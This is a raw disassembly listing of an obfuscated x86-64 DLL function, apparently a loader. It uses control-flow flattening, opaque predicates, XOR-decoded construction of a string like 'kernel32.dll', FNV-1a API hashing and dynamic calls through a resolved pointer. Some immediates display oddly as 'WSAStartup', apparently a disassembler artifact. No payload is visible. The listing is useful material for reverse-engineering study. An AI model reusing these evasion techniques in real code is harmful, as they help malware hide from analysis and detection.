mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, 0x181b9de8
nop dword [rax]
cmp ecx, 0xfe90a09b
jle 0x180021980
cmp ecx, 0x333d8297
jle 0x1800219d0
cmp ecx, 0x5cca55f4
jg 0x180021a4a
cmp ecx, 0x333d8298
je 0x180021b04
cmp ecx, 0x33ec62ab
je 0x180021b17
cmp ecx, 0x42d422e5
jne 0x180021910
mov dword [rsp + 0x30], esi
mov ecx, dword [rsp + 0x30]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x60]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r14d
jmp 0x180021910
cmp ecx, 0xc5fd57a7
jle 0x180021a10
cmp ecx, 0xeb000b68
jg 0x180021a7a
cmp ecx, 0xc5fd57a8
je 0x180021b25
cmp ecx, 0xd1e81d16
je 0x180021b31
cmp ecx, 0xd597d4ff
jne 0x180021910
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x4c]
jmp 0x180021910
cmp ecx, 0x12a1b9d7
jle 0x180021aa8
cmp ecx, 0x12a1b9d8
je 0x180021b44
cmp ecx, 0x181b9de8
je 0x180021b53
cmp ecx, 0x28ad3f39
jne 0x180021910
mov ecx, 0x73f80f82
jmp 0x180021910
cmp ecx, 0xb163ad29
jle 0x180021ad6
cmp ecx, 0xb163ad2a
je 0x180021b89
cmp ecx, 0xb9d33223
je 0x180021bad
cmp ecx, 0xbb6ed30e
jne 0x180021910
mov ecx, 0x12a1b9d8
jmp 0x180021910
cmp ecx, 0x5cca55f5
je 0x180021bbb
cmp ecx, 0x7343bfbc
je 0x1800218d4
cmp ecx, 0x73f80f82
jne 0x180021910
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180021910
cmp ecx, 0xeb000b69
je 0x180021bd0
cmp ecx, 0xfb306983
jne 0x180021c35
mov ecx, dword [rsp + 0x60]
cmp ecx, 0x7f
setl byte [rsp + 0x5e]
mov ecx, 0x333d8298
jmp 0x180021910
cmp ecx, 0xfe90a09c
je 0x180021bf1
cmp ecx, 0x1dd0b01
jne 0x180021910
mov ecx, dword [rsp + 0x48]
cmp ecx, 0x5b
setl byte [rsp + 0x64]
mov ecx, 0xd1e81d16
jmp 0x180021910
cmp ecx, 0x87cbc1a8
je 0x180021c1f
cmp ecx, 0x9302de66
jne 0x180021910
mov rbp, qword [rsp + 0x90]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0x38]
jmp 0x180021910
cmp byte [rsp + 0x5e], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r11d
jmp 0x180021910
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x24]
jmp 0x180021910
mov dword [rsp + 0x40], ebx
mov ecx, r15d
jmp 0x180021910
cmp byte [rsp + 0x64], 0
mov ecx, 0xb9d33223
cmovne ecx, r9d
jmp 0x180021910
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r13
jmp 0x180021910
movsxd rcx, dword [rsp + 0x40]
xor rcx, qword [rsp + 0xc0]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov qword [rsp + 0x90], rcx
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0x38], ecx
mov ecx, r12d
jmp 0x180021910
mov dword [rsp + 0x28], edi
mov qword [rsp + 0xc0], rbp
mov ecx, dword [rsp + 0x30]
mov edx, dword [rsp + 0x28]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r8d
jmp 0x180021910
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x48]
jmp 0x180021910
mov ecx, dword [rsp + 0x30]
add ecx, 1
mov dword [rsp + 0x4c], ecx
mov ecx, 0xd597d4ff
jmp 0x180021910
mov rcx, qword [rsp + 0x50]
movsx ecx, byte [rcx]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x48]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r10d
jmp 0x180021910
mov ecx, dword [rsp + 0x48]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x24], ecx
mov ecx, 0x33ec62ab
jmp 0x180021910
mov ecx, dword [rsp + 0x28]
add rcx, rax
mov qword [rsp + 0x50], rcx
mov ecx, 0xeb000b69
jmp 0x180021910
cmp ecx, 0xf6d6bd87
jne 0x180021910
mov rcx, qword [rsp + 0xc0]
call fcn.1800e9be0
lea r13, [rsp + 0xc0]
mov qword [rsp + 0x38], r13
mov rcx, qword [rsp + 0x38]
mov byte [rcx], 0x7c
mov rcx, qword [rsp + 0x38]
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021c82
cmp edx, 0x7262d9c5
jne 0x180021c70
jmp 0x180021c89
mov edx, 0x7262d9c5
jmp 0x180021c70
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x6b
mov byte [rcx + 1], dl
mov edx, 0x774f246
nop word cs:[rax + rax]
cmp edx, 0x774f246
je 0x180021cc2
cmp edx, 0x7262d9c5
jne 0x180021cb0
jmp 0x180021cc9
mov edx, 0x7262d9c5
jmp 0x180021cb0
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x65
mov byte [rcx + 2], dl
mov edx, 0x774f246
nop word cs:[rax + rax]
cmp edx, 0x774f246
je 0x180021d02
cmp edx, 0x7262d9c5
jne 0x180021cf0
jmp 0x180021d09
mov edx, 0x7262d9c5
jmp 0x180021cf0
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x72
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x48], 0x6e
mov edi, 0x9cff2d15
mov esi, 0x476078af
mov r8d, 0xe9f6145c
mov ebp, 0xc8f05acc
nop word cs:[rax + rax]
nop
cmp edi, 0xe9f6145b
jle 0x180021d90
cmp edi, 0xa7f6082
jg 0x180021dc0
cmp edi, 0xe9f6145c
je 0x1800221fc
cmp edi, 0xfb61dd46
jne 0x180021d50
mov byte [rbx], 0
add rbx, 1
cmp rbx, qword [rsp + 0x50]
mov edi, 0xfb61dd46
cmove edi, r8d
jmp 0x180021d50
cmp edi, 0x9cff2d15
je 0x180021e09
cmp edi, 0xb3299c3a
je 0x1800221d5
cmp edi, 0xc8f05acc
jne 0x180021d50
mov edi, 0xfb61dd46
mov rbx, qword [rsp + 0x40]
jmp 0x180021d50
cmp edi, 0xa7f6083
je 0x180021e39
cmp edi, 0x476078af
jne 0x180021d50
mov rdx, qword [rsp + 0x28]
mov cl, byte [rsp + 0x24]
mov byte [rdx], cl
mov rdi, qword [rsp + 0x28]
mov edx, 0x774f246
nop word cs:[rax + rax]
nop
cmp edx, 0x774f246
je 0x180021e02
cmp edx, 0x7262d9c5
jne 0x180021df0
jmp 0x180021e6c
mov edx, 0x7262d9c5
jmp 0x180021df0
mov dl, byte [rsp + 0x48]
mov edi, 0x774f246
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x774f246
je 0x180021e32
cmp edi, 0x7262d9c5
jne 0x180021e20
jmp 0x180021eac
mov edi, 0x7262d9c5
jmp 0x180021e20
mov rcx, qword [rsp + 0x28]
mov dl, byte [rsp + 0x24]
mov byte [rcx], dl
mov rdi, qword [rsp + 0x28]
mov edx, 0x774f246
nop
cmp edx, 0x774f246
je 0x180021e65
cmp edx, 0x7262d9c5
jne 0x180021e50
jmp 0x180021eec
mov edx, 0x7262d9c5
jmp 0x180021e50
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x32
mov byte [rdi + 1], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021ea5
cmp edx, 0x7262d9c5
jne 0x180021e90
jmp 0x180021f2c
mov edx, 0x7262d9c5
jmp 0x180021e90
mov qword [rsp + 0x90], r13
mov rdi, qword [rsp + 0x90]
xor dl, byte [rdi]
mov rdi, qword [rsp + 0x30]
mov byte [rdi], dl
mov rdi, qword [rsp + 0x30]
mov edx, 0x774f246
nop
cmp edx, 0x774f246
je 0x180021ee5
cmp edx, 0x7262d9c5
jne 0x180021ed0
jmp 0x180021f6c
mov edx, 0x7262d9c5
jmp 0x180021ed0
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x32
mov byte [rdi + 1], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021f25
cmp edx, 0x7262d9c5
jne 0x180021f10
jmp 0x180021fac
mov edx, 0x7262d9c5
jmp 0x180021f10
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x2e
mov byte [rdi + 2], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021f65
cmp edx, 0x7262d9c5
jne 0x180021f50
jmp 0x180021fec
mov edx, 0x7262d9c5
jmp 0x180021f50
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x65
mov byte [rdi + 1], dl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021fa5
cmp edx, 0x7262d9c5
jne 0x180021f90
jmp 0x18002202c
mov edx, 0x7262d9c5
jmp 0x180021f90
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x2e
mov byte [rdi + 2], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180021fe5
cmp edx, 0x7262d9c5
jne 0x180021fd0
jmp 0x18002207c
mov edx, 0x7262d9c5
jmp 0x180021fd0
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x64
mov byte [rdi + 3], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180022025
cmp edx, 0x7262d9c5
jne 0x180022010
jmp 0x1800220b9
mov edx, 0x7262d9c5
jmp 0x180022010
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x6c
mov byte [rdi + 2], dl
add rdi, 3
mov qword [rsp + 0x28], rdi
mov edx, 0x774f246
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x774f246
je 0x180022075
cmp edx, 0x7262d9c5
jne 0x180022060
jmp 0x1800220f9
mov edx, 0x7262d9c5
jmp 0x180022060
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x64
mov byte [rdi + 3], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x1800220b2
cmp edx, 0x7262d9c5
jne 0x1800220a0
jmp 0x18002211c
mov edx, 0x7262d9c5
jmp 0x1800220a0
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x6c
mov byte [rdi + 4], cl
mov edx, 0x774f246
nop word cs:[rax + rax]
cmp edx, 0x774f246
je 0x1800220f2
cmp edx, 0x7262d9c5
jne 0x1800220e0
jmp 0x180022159
mov edx, 0x7262d9c5
jmp 0x1800220e0
mov qword [rsp + 0x90], r13
mov rdx, qword [rsp + 0x90]
mov dl, byte [rdx]
xor dl, 0x33
mov byte [rsp + 0x24], dl
mov edi, 0xb3299c3a
jmp 0x180021d50
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x6c
mov byte [rdi + 4], cl
mov edx, 0x774f246
nop dword [rax]
cmp edx, 0x774f246
je 0x180022152
cmp edx, 0x7262d9c5
jne 0x180022140
jmp 0x1800221ae
mov edx, 0x7262d9c5
jmp 0x180022140
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x6c
mov byte [rdi + 5], cl
add rdi, 6
mov qword [rsp + 0x40], rdi
mov rcx, qword [rsp + 0x38]
add rcx, 0xe
mov qword [rsp + 0x50], rcx
mov ecx, dword [0x1801294e8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edi, 0xa7f6083
cmove edi, ebp
cmp dword [0x1801294ec], 0xa
cmovl edi, ebp
jmp 0x180021d50
mov qword [rsp + 0x90], r13
mov rcx, qword [rsp + 0x90]
mov cl, byte [rcx]
xor cl, 0x6c
mov byte [rdi + 5], cl
mov rcx, qword [rsp + 0x38]
mov edi, 0x476078af
jmp 0x180021d50
mov edx, dword [0x1801294e8]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
mov edi, 0xa7f6083
cmove edi, esi
cmp dword [0x1801294ec], 0xa
cmovl edi, esi
jmp 0x180021d50
mov ebp, 0x17c237b8
mov ecx, 0x6d59051d
jmp 0x180022230
mov qword [rsp + 0x90], r13
mov rbp, qword [rsp + 0x90]
xor bl, byte [rbp]
mov rbp, qword [rsp + 0x40]
mov byte [rbp], bl
mov ebp, 0x6ab3451
nop dword [rax + rax]
cmp ebp, 0x17c237b7
jg 0x180022270
cmp ebp, 0xe8059d87
jle 0x1800222b0
cmp ebp, 0xfa6bba61
je 0x180022329
cmp ebp, 0x6ab3451
jne 0x180022378
mov ebp, 0x466b478c
mov rdx, qword [rsp + 0x28]
jmp 0x180022230
cmp ebp, 0x68e64940
jg 0x1800222e0
cmp ebp, 0x17c237b8
je 0x18002233c
cmp ebp, 0x466b478c
jne 0x180022230
mov qword [rsp + 0x50], rdx
mov rbp, qword [rsp + 0x50]
cmp rbp, 0xc
mov ebp, 0xcdf88d03
cmovb ebp, ecx
jmp 0x180022230
cmp ebp, 0xcb336e6d
je 0x180022346
cmp ebp, 0xcdf88d03
jne 0x180022230
mov qword [rsp + 0x30], r13
mov ebp, 0xfa6bba61
jmp 0x180022230
cmp ebp, 0x68e64941
je 0x18002236c
cmp ebp, 0x6d59051d
jne 0x180022230
mov rbp, qword [rsp + 0x50]
add rbp, 1
mov qword [rsp + 0x28], rbp
mov rbp, qword [rsp + 0x28]
add rbp, r13
mov qword [rsp + 0x40], rbp
mov rbp, qword [rsp + 0x40]
mov bl, byte [rbp]
mov byte [rsp + 0x38], bl
mov ebp, 0xcb336e6d
jmp 0x180022230
mov rbp, qword [rsp + 0x30]
mov byte [rbp + 0xd], 0
mov ebp, 0xe8059d88
jmp 0x180022230
mov ebp, 0x68e64941
jmp 0x180022230
mov bl, byte [rsp + 0x38]
mov ebp, 0x774f246
nop
cmp ebp, 0x774f246
je 0x180022365
cmp ebp, 0x7262d9c5
jne 0x180022350
jmp 0x180022208
mov ebp, 0x7262d9c5
jmp 0x180022350
mov ebp, 0x466b478c
xor edx, edx
jmp 0x180022230
cmp ebp, 0xe8059d88
jne 0x180022230
mov rcx, qword [rsp + 0x30]
add rcx, 1
call rax
mov eax, dword [0x180129978]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012997c], 0xa
setl cl
or cl, al
mov ebp, 0xdea7332e
mov eax, 0x4ecf99b7
cmove ebp, eax
mov ecx, 0x2a83b1ac
cmove ecx, eax
mov edx, 0xf5de34fc
nop word [rax + rax]
cmp edx, 0xca36f69f
je 0x180022470
cmp edx, 0xf5de34fc
jne 0x1800223d0
mov dword [rsp + 0xd0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022430
cmp eax, 0x4ecf99b7
je 0x180022445
cmp eax, 0x3cf2d119
je 0x180022457
cmp eax, 0x2a83b1ac
jne 0x180022400
mov edx, dword [rsp + 0xd0]
mov eax, ebp
jmp 0x180022400
cmp eax, 0xca4f1779
je 0x180022453
cmp eax, 0xdea7332e
jne 0x180022400
mov eax, 0x3cf2d119
jmp 0x180022400
mov eax, dword [rsp + 0xd0]
mov eax, 0x2a83b1ac
jmp 0x180022400
mov eax, ecx
jmp 0x180022400
mov byte [rsp + 0xc0], dl
movsx eax, byte [rsp + 0xc0]
mov edx, 0xca36f69f
jmp 0x1800223d0
mov dword [rsp + 0xc0], 0x4c
mov dword [rsp + 0xd0], eax
mov eax, dword [rsp + 0xc0]
add eax, dword [rsp + 0xd0]
mov byte [rsp + 0xd0], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022540
cmp edx, 0xf5de34fc
jne 0x1800224a0
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022500
cmp eax, 0x4ecf99b7
je 0x180022515
cmp eax, 0x3cf2d119
je 0x180022527
cmp eax, 0x2a83b1ac
jne 0x1800224d0
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x1800224d0
cmp eax, 0xca4f1779
je 0x180022523
cmp eax, 0xdea7332e
jne 0x1800224d0
mov eax, 0x3cf2d119
jmp 0x1800224d0
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x1800224d0
mov eax, ecx
jmp 0x1800224d0
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x1800224a0
mov dword [rsp + 0x90], WSAStartup
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd1], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022610
cmp edx, 0xf5de34fc
jne 0x180022570
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x1800225d0
cmp eax, 0x4ecf99b7
je 0x1800225e5
cmp eax, 0x3cf2d119
je 0x1800225f7
cmp eax, 0x2a83b1ac
jne 0x1800225a0
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x1800225a0
cmp eax, 0xca4f1779
je 0x1800225f3
cmp eax, 0xdea7332e
jne 0x1800225a0
mov eax, 0x3cf2d119
jmp 0x1800225a0
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x1800225a0
mov eax, ecx
jmp 0x1800225a0
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022570
mov dword [rsp + 0x90], 0x61
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd2], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x1800226e0
cmp edx, 0xf5de34fc
jne 0x180022640
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x1800226a0
cmp eax, 0x4ecf99b7
je 0x1800226b5
cmp eax, 0x3cf2d119
je 0x1800226c7
cmp eax, 0x2a83b1ac
jne 0x180022670
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022670
cmp eax, 0xca4f1779
je 0x1800226c3
cmp eax, 0xdea7332e
jne 0x180022670
mov eax, 0x3cf2d119
jmp 0x180022670
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022670
mov eax, ecx
jmp 0x180022670
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022640
mov dword [rsp + 0x90], 0x64
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd3], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x1800227b0
cmp edx, 0xf5de34fc
jne 0x180022710
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022770
cmp eax, 0x4ecf99b7
je 0x180022785
cmp eax, 0x3cf2d119
je 0x180022797
cmp eax, 0x2a83b1ac
jne 0x180022740
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022740
cmp eax, 0xca4f1779
je 0x180022793
cmp eax, 0xdea7332e
jne 0x180022740
mov eax, 0x3cf2d119
jmp 0x180022740
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022740
mov eax, ecx
jmp 0x180022740
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022710
mov dword [rsp + 0x90], 0x4c
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd4], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022880
cmp edx, 0xf5de34fc
jne 0x1800227e0
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022840
cmp eax, 0x4ecf99b7
je 0x180022855
cmp eax, 0x3cf2d119
je 0x180022867
cmp eax, 0x2a83b1ac
jne 0x180022810
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022810
cmp eax, 0xca4f1779
je 0x180022863
cmp eax, 0xdea7332e
jne 0x180022810
mov eax, 0x3cf2d119
jmp 0x180022810
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022810
mov eax, ecx
jmp 0x180022810
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x1800227e0
mov dword [rsp + 0x90], WSAStartup
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd5], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022950
cmp edx, 0xf5de34fc
jne 0x1800228b0
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022910
cmp eax, 0x4ecf99b7
je 0x180022925
cmp eax, 0x3cf2d119
je 0x180022937
cmp eax, 0x2a83b1ac
jne 0x1800228e0
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x1800228e0
cmp eax, 0xca4f1779
je 0x180022933
cmp eax, 0xdea7332e
jne 0x1800228e0
mov eax, 0x3cf2d119
jmp 0x1800228e0
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x1800228e0
mov eax, ecx
jmp 0x1800228e0
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x1800228b0
mov dword [rsp + 0x90], 0x62
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd6], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022a20
cmp edx, 0xf5de34fc
jne 0x180022980
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x1800229e0
cmp eax, 0x4ecf99b7
je 0x1800229f5
cmp eax, 0x3cf2d119
je 0x180022a07
cmp eax, 0x2a83b1ac
jne 0x1800229b0
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x1800229b0
cmp eax, 0xca4f1779
je 0x180022a03
cmp eax, 0xdea7332e
jne 0x1800229b0
mov eax, 0x3cf2d119
jmp 0x1800229b0
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x1800229b0
mov eax, ecx
jmp 0x1800229b0
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022980
mov dword [rsp + 0x90], WSAStartup
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd7], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022af0
cmp edx, 0xf5de34fc
jne 0x180022a50
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022ab0
cmp eax, 0x4ecf99b7
je 0x180022ac5
cmp eax, 0x3cf2d119
je 0x180022ad7
cmp eax, 0x2a83b1ac
jne 0x180022a80
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022a80
cmp eax, 0xca4f1779
je 0x180022ad3
cmp eax, 0xdea7332e
jne 0x180022a80
mov eax, 0x3cf2d119
jmp 0x180022a80
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022a80
mov eax, ecx
jmp 0x180022a80
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022a50
mov dword [rsp + 0x90], 0x61
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd8], al
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022bc0
cmp edx, 0xf5de34fc
jne 0x180022b20
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022b80
cmp eax, 0x4ecf99b7
je 0x180022b95
cmp eax, 0x3cf2d119
je 0x180022ba7
cmp eax, 0x2a83b1ac
jne 0x180022b50
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022b50
cmp eax, 0xca4f1779
je 0x180022ba3
cmp eax, 0xdea7332e
jne 0x180022b50
mov eax, 0x3cf2d119
jmp 0x180022b50
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022b50
mov eax, ecx
jmp 0x180022b50
mov byte [rsp + 0x90], dl
movsx eax, byte [rsp + 0x90]
mov edx, 0xca36f69f
jmp 0x180022b20
mov dword [rsp + 0x90], WSAStartup
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x90]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0xda]
mov qword [rsp + 0x90], rax
mov edx, 0xf5de34fc
nop dword [rax]
cmp edx, 0xca36f69f
je 0x180022c9a
cmp edx, 0xf5de34fc
jne 0x180022c00
mov dword [rsp + 0xc0], 4
mov eax, 0xca4f1779
nop word cs:[rax + rax]
nop
cmp eax, 0x2a83b1ab
jle 0x180022c60
cmp eax, 0x4ecf99b7
je 0x180022c75
cmp eax, 0x3cf2d119
je 0x180022c87
cmp eax, 0x2a83b1ac
jne 0x180022c30
mov edx, dword [rsp + 0xc0]
mov eax, ebp
jmp 0x180022c30
cmp eax, 0xca4f1779
je 0x180022c83
cmp eax, 0xdea7332e
jne 0x180022c30
mov eax, 0x3cf2d119
jmp 0x180022c30
mov eax, dword [rsp + 0xc0]
mov eax, 0x2a83b1ac
jmp 0x180022c30
mov eax, ecx
jmp 0x180022c30
mov byte [rsp + 0x50], dl
movsx eax, byte [rsp + 0x50]
mov edx, 0xca36f69f
jmp 0x180022c00
mov dword [rsp + 0x50], 0x79
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x50]
add eax, dword [rsp + 0xc0]
mov byte [rsp + 0x30], al
mov eax, 0x323310fe
nop dword [rax]
cmp eax, 0x93a904fd
je 0x180022cfd
cmp eax, 0x323310fe
jne 0x180022cc0
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x90]
add rax, 1
mov qword [rsp + 0xc0], rax
mov byte [rsp + 0x28], 0x41
mov eax, 0x93a904fd
jmp 0x180022cc0
movsx eax, byte [rsp + 0x28]
mov ecx, dword [0x180129978]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012997c], 0xa
setl dl
or dl, cl
mov ebx, 0xdea7332e
mov ecx, 0x4ecf99b7
cmove ebx, ecx
mov edx, 0x2a83b1ac
cmove edx, ecx
mov ebp, 0xf5de34fc
nop word [rax + rax]
cmp ebp, 0xca36f69f
je 0x180022dda
cmp ebp, 0xf5de34fc
jne 0x180022d40
mov dword [rsp + 0x50], 4
mov ecx, 0xca4f1779
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x2a83b1ab
jle 0x180022da0
cmp ecx, 0x4ecf99b7
je 0x180022db7
cmp ecx, 0x3cf2d119
je 0x180022dc6
cmp ecx, 0x2a83b1ac
jne 0x180022d70
mov ebp, dword [rsp + 0x50]
mov ecx, ebx
jmp 0x180022d70
cmp ecx, 0xca4f1779
je 0x180022dc2
cmp ecx, 0xdea7332e
jne 0x180022d70
mov ecx, 0x3cf2d119
jmp 0x180022d70
mov ecx, dword [rsp + 0x50]
mov ecx, 0x2a83b1ac
jmp 0x180022d70
mov ecx, edx
jmp 0x180022d70
mov byte [rsp + 0x40], bpl
movsx ecx, byte [rsp + 0x40]
mov ebp, 0xca36f69f
jmp 0x180022d40
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x40]
add eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0xc0]
mov byte [rcx], al
